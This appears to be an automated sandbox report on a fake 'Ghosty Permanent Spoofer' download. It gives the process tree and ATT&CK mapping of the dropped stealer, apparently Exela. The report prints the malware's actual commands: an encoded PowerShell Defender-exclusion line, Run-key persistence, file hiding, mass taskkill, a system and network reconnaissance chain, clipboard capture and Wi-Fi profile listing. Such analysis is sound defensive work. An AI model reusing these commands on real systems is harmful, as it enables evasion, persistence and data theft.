      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx10_34_x64.inf
      4⤵
      Executes dropped EXE
      PID:3868
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_8_x64.inf
      4⤵
      Executes dropped EXE
      PID:2364
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_8.dll
      4⤵
      Loads dropped DLL
      PID:2392
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_35_x64.inf
      4⤵
      Executes dropped EXE
      PID:5344
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx10_35_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:5392
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_9_x64.inf
      4⤵
      Executes dropped EXE
      PID:6056
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_9.dll
      4⤵
      Modifies registry class
      PID:6460
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_36_x64.inf
      4⤵
      Executes dropped EXE
      PID:4248
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx10_36_x64.inf
      4⤵
      Executes dropped EXE
      PID:2732
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe X3DAudio1_2_x64.inf
      4⤵
      Executes dropped EXE
      PID:6664
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_10_x64.inf
      4⤵
      Executes dropped EXE
      PID:4152
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_10.dll
      4⤵
      Modifies registry class
      PID:6532
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe D3DX9_37_x64.inf
      4⤵
      Executes dropped EXE
      PID:5008
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx10_37_x64.inf
      4⤵
      Executes dropped EXE
      PID:6020
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe X3DAudio1_3_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:6232
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT3_0_x64.inf
      4⤵
      Executes dropped EXE
      PID:5848
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_0.dll
      4⤵
      Modifies registry class
      PID:5528
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XAudio2_0_x64.inf
      4⤵
      Executes dropped EXE
      PID:1664
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_0.dll
      4⤵
      Modifies registry class
      PID:3208
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe D3DX9_38_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Drops file in Windows directory
      PID:6524
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx10_38_x64.inf
      4⤵
      Executes dropped EXE
      PID:1632
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe X3DAudio1_4_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:2396
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT3_1_x64.inf
      4⤵
      Executes dropped EXE
      PID:4072
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine3_1.dll
      4⤵
      Modifies registry class
      PID:4352
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XAudio2_1_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:4036
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\XAudio2_1.dll
      4⤵
      Modifies registry class
      PID:7100
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe D3DX9_39_x64.inf
      4⤵
      Executes dropped EXE
      PID:4940

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3612

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1564

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5232

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5396

C:\Users\Admin\Downloads\Ghosty Permanent Spoofer (extract.me)\Ghosty Permanent Spoofer\GHOSTYFN.exe
"C:\Users\Admin\Downloads\Ghosty Permanent Spoofer (extract.me)\Ghosty Permanent Spoofer\GHOSTYFN.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5784
- C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
  "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
  2⤵
  - Executes dropped EXE
  PID:4304
- C:\Users\Admin\AppData\Local\Temp\spoof.exe
  "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5724
- - C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3608
  - - C:\Users\Admin\AppData\Local\Temp\{d5aa195c-728f-4785-9f90-ac24a4cb352a}.exe
      "C:\Users\Admin\AppData\Local\Temp\{d5aa195c-728f-4785-9f90-ac24a4cb352a}.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4512
    - - C:\Users\Admin\AppData\Local\Temp\{d5aa195c-728f-4785-9f90-ac24a4cb352a}_84b45a43-b849-42b9-9ce9-74b7ee739306\Exela-V2.0-main\Exela.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{d5aa195c-728f-4785-9f90-ac24a4cb352a}_84b45a43-b849-42b9-9ce9-74b7ee739306\Exela-V2.0-main\Exela.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:6800
      - C:\Users\Admin\AppData\Local\Temp\{d5aa195c-728f-4785-9f90-ac24a4cb352a}_84b45a43-b849-42b9-9ce9-74b7ee739306\Exela-V2.0-main\Exela.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{d5aa195c-728f-4785-9f90-ac24a4cb352a}_84b45a43-b849-42b9-9ce9-74b7ee739306\Exela-V2.0-main\Exela.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:6900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:5792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:7160
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:6884
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
        7⤵
        
        PID:5264
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "gdb --version"
        7⤵
        
        PID:5124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        
        PID:6324
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
        7⤵
        
        PID:6152
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        8⤵
        
        PID:4460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:1632
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:6484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        
        PID:4912
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:6184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
        7⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:7092
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        8⤵
        Views/modifies file attributes
        
        PID:6356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe" /f"
        7⤵
        
        PID:6392
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe" /f
        8⤵
        Adds Run key to start application
        
        PID:3456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        
        PID:6996
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:5832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2796"
        7⤵
        
        PID:2868
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2796
        8⤵
        Kills process with taskkill
        
        PID:2376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2728"
        7⤵
        
        PID:2580
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2728
        8⤵
        Kills process with taskkill
        
        PID:6500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1108"
        7⤵
        
        PID:6516
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1108
        8⤵
        Kills process with taskkill
        
        PID:232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3096"
        7⤵
        
        PID:6952
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3096
        8⤵
        Kills process with taskkill
        
        PID:5296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1100"
        7⤵
        
        PID:4076
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1100
        8⤵
        Kills process with taskkill
        
        PID:6944
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2240"
        7⤵
        
        PID:6116
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2240
        8⤵
        Kills process with taskkill
        
        PID:7156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1368"
        7⤵
        
        PID:6868
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1368
        8⤵
        Kills process with taskkill
        
        PID:1464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3996"
        7⤵
        
        PID:944
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3996
        8⤵
        Kills process with taskkill
        
        PID:664
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6140"
        7⤵
        
        PID:6176
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 6140
        8⤵
        Kills process with taskkill
        
        PID:3208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5196"
        7⤵
        
        PID:5748
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5196
        8⤵
        Kills process with taskkill
        
        PID:4844
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5956"
        7⤵
        
        PID:2316
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5956
        8⤵
        Kills process with taskkill
        
        PID:1232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3036"
        7⤵
        
        PID:4896
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3036
        8⤵
        Kills process with taskkill
        
        PID:1652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2856"
        7⤵
        
        PID:4156
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2856
        8⤵
        Kills process with taskkill
        
        PID:6572
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5928"
        7⤵
        
        PID:6148
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5928
        8⤵
        Kills process with taskkill
        
        PID:7096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3524"
        7⤵
        
        PID:7028
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3524
        8⤵
        Kills process with taskkill
        
        PID:6296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        7⤵
        
        PID:4060
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        8⤵
        
        PID:5928
        
        C:\Windows\system32\chcp.com
        
        chcp
        9⤵
        
        PID:3496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        7⤵
        
        PID:6392
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        8⤵
        
        PID:4352
        
        C:\Windows\system32\chcp.com
        
        chcp
        9⤵
        
        PID:1524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        7⤵
        
        PID:4508
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        8⤵
        Enumerates processes with tasklist
        
        PID:6576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
        7⤵
        Clipboard Data
        
        PID:6472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        8⤵
        Clipboard Data
        
        PID:2416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
        7⤵
        Network Service Discovery
        
        PID:2320
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        8⤵
        Gathers system information
        
        PID:5968
        
        C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        8⤵
        
        PID:5504
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        8⤵
        Collects information from the system
        
        PID:6732
        
        C:\Windows\system32\net.exe
        
        net user
        8⤵
        
        PID:1508
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        9⤵
        
        PID:1332
        
        C:\Windows\system32\query.exe
        
        query user
        8⤵
        
        PID:860
        
        C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        9⤵
        
        PID:6564
        
        C:\Windows\system32\net.exe
        
        net localgroup
        8⤵
        
        PID:6640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        9⤵
        
        PID:1204
        
        C:\Windows\system32\net.exe
        
        net localgroup administrators
        8⤵
        
        PID:1444
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        9⤵
        
        PID:1200
        
        C:\Windows\system32\net.exe
        
        net user guest
        8⤵
        
        PID:6680
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        9⤵
        
        PID:4032
        
        C:\Windows\system32\net.exe
        
        net user administrator
        8⤵
        
        PID:6000
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        9⤵
        
        PID:1556
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        8⤵
        
        PID:6132
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        8⤵
        Enumerates processes with tasklist
        
        PID:6304
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        8⤵
        Gathers network information
        
        PID:6340
        
        C:\Windows\system32\ROUTE.EXE
        
        route print
        8⤵
        
        PID:5380
        
        C:\Windows\system32\ARP.EXE
        
        arp -a
        8⤵
        Network Service Discovery
        
        PID:4400
        
        C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        8⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:6352
        
        C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        8⤵
        Launches sc.exe
        
        PID:3560
        
        C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5112
        
        C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:6364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        7⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:936
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:5808
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:5556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:5196
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:180

C:\Users\Admin\Downloads\Ghosty Permanent Spoofer (extract.me)\Ghosty Permanent Spoofer\KA-LicenseKey_x86_x64_v1.1.exe
"C:\Users\Admin\Downloads\Ghosty Permanent Spoofer (extract.me)\Ghosty Permanent Spoofer\KA-LicenseKey_x86_x64_v1.1.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4788

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x394 0x304
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4748

C:\Users\Admin\Downloads\Ghosty Permanent Spoofer (extract.me)\Ghosty Permanent Spoofer\KA-MemIntegrity_x86_x64_v1.1.exe
"C:\Users\Admin\Downloads\Ghosty Permanent Spoofer (extract.me)\Ghosty Permanent Spoofer\KA-MemIntegrity_x86_x64_v1.1.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5936

C:\Users\Admin\Downloads\Ghosty Permanent Spoofer (extract.me)\Ghosty Permanent Spoofer\GHOSTYFN.exe
"C:\Users\Admin\Downloads\Ghosty Permanent Spoofer (extract.me)\Ghosty Permanent Spoofer\GHOSTYFN.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4500
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
  "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
  2⤵
  - Executes dropped EXE
  PID:936
- C:\Users\Admin\AppData\Local\Temp\spoof.exe
  "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5548

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:5176

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:6948

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3826055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4072

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:3880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

System Information Discovery